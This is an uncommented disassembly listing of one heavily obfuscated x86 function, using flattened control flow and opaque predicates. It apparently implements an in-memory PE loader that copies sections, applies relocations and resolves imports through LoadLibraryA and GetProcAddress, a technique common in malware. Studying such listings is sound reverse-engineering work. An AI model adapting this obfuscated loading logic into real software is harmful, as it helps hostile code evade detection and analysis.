push dword [ebp - 0xfc]
vzeroupper
call fcn.0043d7a0
add esp, 0xc
mov eax, 0x7e3e6612
jmp 0x402370
mov edx, dword [0x4ab3c8]
mov eax, dword [0x4ab3c4]
mov esi, 0x82a2f34e
lea ecx, [edx + 1]
imul ecx, edx
mov edx, ecx
xor edx, 0xfffffffe
test edx, ecx
sete bl
cmp eax, 0xa
setl bh
xor bh, bl
mov ebx, 0x1df0a5d6
cmovne esi, ebx
test edx, ecx
mov ecx, esi
cmove ecx, ebx
jmp 0x40663f
mov eax, dword [ebp - 0x24]
mov dword [eax], 1
mov eax, 0x6509e7e3
jmp 0x402370
mov eax, dword [ebp - 0x34]
mov eax, dword [eax]
mov ecx, dword [ebp - 0x1c]
mov ecx, dword [ecx]
mov edx, dword [ebp - 0x20]
mov edx, dword [edx]
lea edx, [edx + edx*4]
add eax, dword [ecx + edx*8 + 0x14]
mov ecx, dword [ebp - 0x1c]
mov ecx, dword [ecx]
mov edx, dword [ebp - 0x20]
mov edx, dword [edx]
lea edx, [edx + edx*4]
push dword [ecx + edx*8 + 0x10]
push eax
push dword [ebp - 0xfc]
vzeroupper
call fcn.0043d7a0
add esp, 0xc
mov edx, dword [0x4ab3c8]
mov ecx, dword [0x4ab3c4]
mov esi, 0xda726caa
lea eax, [edx + 1]
imul eax, edx
not eax
or eax, 0xfffffffe
cmp eax, 0xffffffff
sete dl
cmp ecx, 0xa
setl dh
xor dh, dl
mov edx, 0xb72fb65b
cmovne edx, esi
cmp eax, 0xffffffff
mov eax, edx
cmove eax, esi
cmp ecx, 0xa
cmovge eax, edx
jmp 0x402370
mov edx, dword [0x4ab3c8]
mov eax, dword [0x4ab3c4]
mov esi, 0x18620749
lea ecx, [edx - 1]
imul ecx, edx
not ecx
or ecx, 0xfffffffe
cmp ecx, 0xffffffff
sete dl
cmp eax, 0xa
setl dh
xor dh, dl
mov edx, 0xa3c5174c
jmp 0x4065f0
mov eax, dword [ebp - 0x104]
mov eax, dword [ebp - 0x100]
mov eax, 0x9832d8a0
jmp 0x402370
mov edx, dword [0x4ab3c8]
mov ecx, dword [0x4ab3c4]
mov esi, 0x48cdb181
lea eax, [edx + 1]
imul eax, edx
not eax
or eax, 0xfffffffe
cmp eax, 0xffffffff
sete dl
cmp ecx, 0xa
setl dh
xor dh, dl
mov edx, 0x9272f78c
cmovne edx, esi
cmp eax, 0xffffffff
mov eax, edx
cmove eax, esi
cmp ecx, 0xa
mov ecx, dword [ebp - 0x64]
cmovge eax, edx
mov ecx, dword [ecx]
mov dword [ebp - 0x160], ecx
mov ecx, dword [ebp - 0x60]
add ecx, 4
mov dword [ebp - 0x164], ecx
jmp 0x402370
mov eax, dword [ebp - 0x1c0]
mov ecx, 0xd1b15bad
not eax
or eax, 0xdfffffff
cmp eax, 0xffffffff
mov eax, 0xc9f14165
cmove eax, ecx
jmp 0x402370
mov eax, dword [0x4ab3c8]
mov esi, 0xac793edc
mov ebx, 0x569ef7c2
lea ecx, [eax + 1]
imul ecx, eax
mov eax, ecx
xor eax, 0xfffffffe
test eax, ecx
mov ecx, 0x569ef7c2
jmp 0x402347
mov eax, 0xe6f82a06
jmp 0x402370
mov eax, dword [ebp - 0x14]
mov ecx, dword [ebp - 0x34]
push 0x400
push dword [ecx]
push dword [eax]
vzeroupper
call fcn.0043d7a0
add esp, 0xc
mov eax, 0x33913df3
jmp 0x402370
mov eax, dword [ebp - 0x98]
mov ecx, dword [ebp - 0x180]
mov dword [eax], ecx
mov eax, 0x2c28c5c3
jmp 0x402370
mov eax, dword [ebp - 0x68]
mov eax, dword [eax]
movzx eax, word [eax]
shr eax, 0xc
mov dword [ebp - 0x178], eax
mov eax, 0x1963ffeb
jmp 0x402370
cmp byte [ebp - 0x8a], 0
mov eax, 0x1383b123
mov ecx, 0xadf754b
cmovne eax, ecx
jmp 0x402370
movzx eax, word [ebp - 0xc6]
mov ecx, dword [ebp - 0x70]
push eax
push dword [ecx]
vzeroupper
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov ecx, dword [ebp - 0x40]
mov dword [ecx], eax
mov eax, dword [ebp - 0x40]
mov eax, 0xc2ce3ed2
jmp 0x402370
mov eax, dword [ebp - 0x24]
mov dword [eax], 0
mov eax, 0x1a11fc29
jmp 0x402370
mov eax, dword [ebp - 0xdc]
mov eax, dword [0x4ab3c8]
mov esi, 0x17e80cfb
mov ebx, 0xd73bad54
lea ecx, [eax + 1]
imul ecx, eax
not ecx
or ecx, 0xfffffffe
cmp ecx, 0xffffffff
mov ecx, 0xd73bad54
jmp 0x402347
mov eax, 0x415ae260
jmp 0x402370
mov edx, dword [0x4ab3c8]
mov ecx, dword [0x4ab3c4]
mov esi, 0x22afb183
lea eax, [edx + 1]
imul eax, edx
mov edx, eax
xor edx, 0xfffffffe
test edx, eax
sete bl
cmp ecx, 0xa
setl bh
xor bh, bl
mov ebx, 0xe91370ee
jmp 0x406267
mov eax, dword [ebp - 0x68]
mov eax, dword [eax]
mov dword [ebp - 0x17c], eax
mov eax, 0x95e11fa5
jmp 0x402370
mov eax, dword [ebp - 0xdc]
mov eax, dword [ebp - 0x24]
mov eax, dword [eax]
mov dword [ebp - 0x1a8], eax
mov eax, 0xa9c190a8
jmp 0x402370
mov edx, dword [0x4ab3c8]
mov eax, dword [0x4ab3c4]
mov esi, 0x8ff6a468
lea ecx, [edx + 1]
imul ecx, edx
not ecx
or ecx, 0xfffffffe
cmp ecx, 0xffffffff
sete dl
cmp eax, 0xa
setl dh
xor dh, dl
mov edx, 0x2ce5fe46
jmp 0x4065f0
mov eax, dword [ebp - 0x98]
mov eax, 0x1151c2d5
jmp 0x402370
mov eax, dword [ebp - 0x30]
mov eax, 0x94d82e07
jmp 0x402370
mov eax, 0x30e98c8b
jmp 0x402370
mov eax, dword [ebp - 0x74]
mov esi, 0xa05146e9
add eax, dword [ebp - 0x54]
mov ecx, dword [ebp - 0x1c]
mov dword [ecx], eax
mov eax, dword [ebp - 0x20]
mov eax, dword [ebp - 0x20]
mov dword [eax], 0
mov edx, dword [0x4ab3c8]
mov ecx, dword [0x4ab3c4]
lea eax, [edx + 1]
imul eax, edx
mov edx, eax
xor edx, 0xfffffffe
test edx, eax
sete bl
cmp ecx, 0xa
setl bh
xor bh, bl
mov ebx, 0xad4d6c86
jmp 0x406267
mov eax, 0x7dc98709
jmp 0x402370
mov edx, dword [0x4ab3c8]
mov eax, dword [0x4ab3c4]
mov esi, 0xc6f6ac72
lea ecx, [edx + 1]
imul ecx, edx
not ecx
or ecx, 0xfffffffe
cmp ecx, 0xffffffff
sete dl
cmp eax, 0xa
setl dh
xor dh, dl
mov edx, 0x5c3bc4a4
jmp 0x4065f0
mov eax, dword [ebp - 0xe0]
mov eax, dword [ebp - 0x30]
mov eax, dword [0x4ab3c8]
mov esi, 0xde565710
mov ebx, 0x8202824b
lea ecx, [eax + 1]
imul ecx, eax
not ecx
or ecx, 0xfffffffe
cmp ecx, 0xffffffff
mov ecx, 0x8202824b
jmp 0x402347
mov eax, dword [ebp - 0x24]
mov dword [eax], 0x10
mov eax, dword [ebp - 0x30]
mov eax, 0xf53c5a21
jmp 0x402370
mov eax, dword [ebp - 0x24]
mov dword [eax], 7
mov eax, 0x8886f361
jmp 0x402370
mov eax, 0xede872fa
jmp 0x402370
mov eax, dword [ebp - 0x6c]
mov eax, 0xb1f35d8d
jmp 0x402370
mov eax, dword [ebp - 0x14]
mov ecx, dword [ebp - 0x34]
push 0x400
push dword [ecx]
push dword [eax]
vzeroupper
call fcn.0043d7a0
add esp, 0xc
mov edx, dword [0x4ab3c8]
mov ecx, dword [0x4ab3c4]
mov esi, 0x9a8ef3d8
lea eax, [edx + 1]
imul eax, edx
mov edx, eax
xor edx, 0xfffffffe
test edx, eax
sete bl
cmp ecx, 0xa
setl bh
xor bh, bl
mov ebx, 0xc910d298
cmovne esi, ebx
test edx, eax
mov eax, esi
cmove eax, ebx
cmp ecx, 0xa
cmovge eax, esi
jmp 0x402370
mov eax, 0xec5b0ef1
jmp 0x402370
mov edx, dword [0x4ab3c8]
mov eax, dword [0x4ab3c4]
mov esi, 0x672579bc
mov edi, 0x5cca47c
jmp 0x40661d
mov eax, dword [ebp - 0xd0]
mov eax, dword [ebp - 0x14]
mov eax, dword [eax]
mov dword [ebp - 0x154], eax
mov eax, dword [ebp - 0x18]
mov eax, dword [eax]
mov dword [ebp - 0x158], eax
mov eax, 0x2e141a9
jmp 0x402370
mov edx, dword [0x4ab3c8]
mov eax, dword [0x4ab3c4]
mov esi, 0x84e95958
lea ecx, [edx + 1]
imul ecx, edx
mov edx, ecx
xor edx, 0xfffffffe
test edx, ecx
sete bl
cmp eax, 0xa
setl bh
xor bh, bl
mov ebx, 0x4430d0e0
cmovne esi, ebx
test edx, ecx
mov ecx, esi
cmove ecx, ebx
cmp eax, 0xa
mov eax, dword [ebp - 0xac]
jmp 0x406642
mov eax, 0xcff5e117
jmp 0x402370
mov eax, 0xc162c038
jmp 0x402370
mov eax, dword [0x4ab3c8]
mov ebx, 0xc2ce3ed2
mov esi, 0x8eb56d8c
lea ecx, [eax + 1]
imul ecx, eax
not ecx
or ecx, 0xfffffffe
cmp ecx, 0xffffffff
mov ecx, 0x8eb56d8c
sete al
cmove ecx, ebx
cmp dword [0x4ab3c4], 0xa
setl dl
cmovge ecx, esi
xor dl, al
cmovne ecx, ebx
mov eax, ecx
jmp 0x402370
mov eax, dword [ebp - 0x38]
mov eax, dword [eax]
lea eax, [eax + eax*4]
shl eax, 2
add eax, dword [ebp - 0x18c]
mov dword [ebp - 0x190], eax
mov eax, 0x65c73dc
jmp 0x402370
mov eax, dword [ebp - 0x1c4]
mov edx, 0x721300ce
mov ecx, eax
xor ecx, 0xbfffffff
test ecx, eax
mov eax, 0xee82c10c
cmove eax, edx
jmp 0x402370
mov eax, dword [ebp - 0x44]
mov esi, 0xa2f37ef1
mov dword [eax], 4
mov edx, dword [0x4ab3c8]
mov eax, dword [0x4ab3c4]
lea ecx, [edx - 1]
imul ecx, edx
not ecx
or ecx, 0xfffffffe
cmp ecx, 0xffffffff
sete dl
cmp eax, 0xa
setl dh
xor dh, dl
mov edx, 0x892a3ef9
jmp 0x4065f0
mov eax, 0x942c0898
jmp 0x402370
mov eax, dword [0x4ab3c8]
mov esi, 0x66155ff6
mov ebx, 0x5c3bc4a4
lea ecx, [eax + 1]
imul ecx, eax
not ecx
or ecx, 0xfffffffe
cmp ecx, 0xffffffff
mov ecx, 0x5c3bc4a4
jmp 0x402347
mov eax, dword [ebp - 0x24]
mov dword [eax], 0xc
mov eax, 0xaabb450b
jmp 0x402370
mov eax, 0xefff2baf
jmp 0x402370
mov edx, dword [0x4ab3c8]
mov ecx, dword [0x4ab3c4]
mov esi, 0xe3fbe26d
lea eax, [edx + 1]
imul eax, edx
mov edx, eax
xor edx, 0xfffffffe
test edx, eax
sete bl
cmp ecx, 0xa
setl bh
xor bh, bl
mov ebx, 0x854cfbaf
cmovne esi, ebx
test edx, eax
mov eax, esi
cmove eax, ebx
cmp ecx, 0xa
mov ecx, dword [ebp - 0x14]
cmovge eax, esi
mov ecx, dword [ecx]
mov dword [ebp - 0x100], ecx
mov ecx, dword [ebp - 0x18]
mov ecx, dword [ecx]
add ecx, 0x18
mov dword [ebp - 0x104], ecx
jmp 0x402370
mov eax, dword [ebp - 0x1a8]
mov ecx, 0x93513a6a
cmp eax, 0xc
mov eax, 0x77e3ee27
cmove eax, ecx
jmp 0x402370
mov eax, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x18]
mov eax, dword [eax]
add eax, 0x18
mov dword [ebp - 0x74], eax
mov eax, dword [ebp - 0x18]
mov eax, dword [eax]
movzx eax, word [eax + 0x14]
mov dword [ebp - 0x54], eax
mov eax, 0xe8be203b
jmp 0x402370
mov eax, dword [ebp - 0xbc]
mov eax, dword [ebp - 0x18]
mov ecx, 0x6748a3a
mov eax, dword [eax]
cmp dword [eax + 0xe8], 0
mov eax, dword [ebp - 0xbc]
setne byte [eax]
mov eax, dword [ebp - 0xe8]
mov eax, dword [ebp - 0xbc]
cmp byte [eax], 0
mov eax, 0xcfbadc2c
cmove eax, ecx
jmp 0x402370
mov eax, dword [ebp - 0xd0]
mov eax, dword [eax]
mov dword [ebp - 0x48], eax
mov eax, dword [ebp - 0xd4]
mov eax, dword [eax]
mov dword [ebp - 0xc0], eax
mov eax, dword [ebp - 0x68]
mov eax, dword [eax]
movzx eax, word [eax]
mov word [ebp - 0xc4], ax
mov eax, 0xc9282f22
jmp 0x402370
mov edx, dword [0x4ab3c8]
mov eax, dword [0x4ab3c4]
mov esi, 0xbf0f242c
lea ecx, [edx + 1]
imul ecx, edx
not ecx
or ecx, 0xfffffffe
cmp ecx, 0xffffffff
sete dl
cmp eax, 0xa
setl dh
xor dh, dl
mov edx, 0xed2450b
jmp 0x4065f0
mov eax, 0xecc2d8ce
jmp 0x402370
mov eax, dword [ebp - 0x194]
add eax, dword [ebp - 0x198]
mov ecx, dword [ebp - 0xdc]
mov dword [ecx], eax
mov eax, dword [ebp - 0x70]
mov eax, dword [ebp - 0xdc]
push dword [eax]
vzeroupper
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov ecx, dword [ebp - 0x70]
mov dword [ecx], eax
mov ecx, 0x56586a33
mov eax, dword [ebp - 0x70]
cmp dword [eax], 0
mov eax, 0x1bba0216
cmove eax, ecx
jmp 0x402370
mov eax, 0x64e0bb2
jmp 0x402370
mov edx, dword [0x4ab3c8]
mov eax, dword [0x4ab3c4]
mov esi, 0x9d005519
lea ecx, [edx + 1]
imul ecx, edx
not ecx
or ecx, 0xfffffffe
cmp ecx, 0xffffffff
sete dl
cmp eax, 0xa
setl dh
xor dh, dl
mov edx, 0xc4df4fe7
cmovne edx, esi
cmp ecx, 0xffffffff
mov ecx, edx
cmove ecx, esi
cmp eax, 0xa
cmovge ecx, edx
mov eax, ecx
jmp 0x402370
mov edx, dword [0x4ab3c8]
mov eax, dword [0x4ab3c4]
mov esi, 0xcb341c2b
mov edi, 0x5bb78f23
lea ecx, [edx + 1]
imul ecx, edx
mov edx, ecx
xor edx, 0xfffffffe
test edx, ecx
sete bl
cmp eax, 0xa
setl bh
xor bh, bl
cmovne esi, edi
test edx, ecx
mov ecx, esi
cmove ecx, edi
cmp eax, 0xa
cmovge ecx, esi
mov eax, ecx
jmp 0x402370
mov eax, 0x721300ce
jmp 0x402370
mov eax, dword [0x4ab3c8]
mov esi, 0x1cad4c81
mov ebx, 0xb8d4fc54
lea ecx, [eax + 1]
imul ecx, eax
mov eax, ecx
xor eax, 0xfffffffe
test eax, ecx
mov ecx, 0xb8d4fc54
jmp 0x402347
cmp eax, 0xce955cab
jne 0x402370
mov esi, dword [ebp - 0x1d0]
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
vzeroupper
call fcn.0043a910
mov eax, esi
lea esp, [ebp - 0xc]
pop esi
pop edi
pop ebx
pop ebp
ret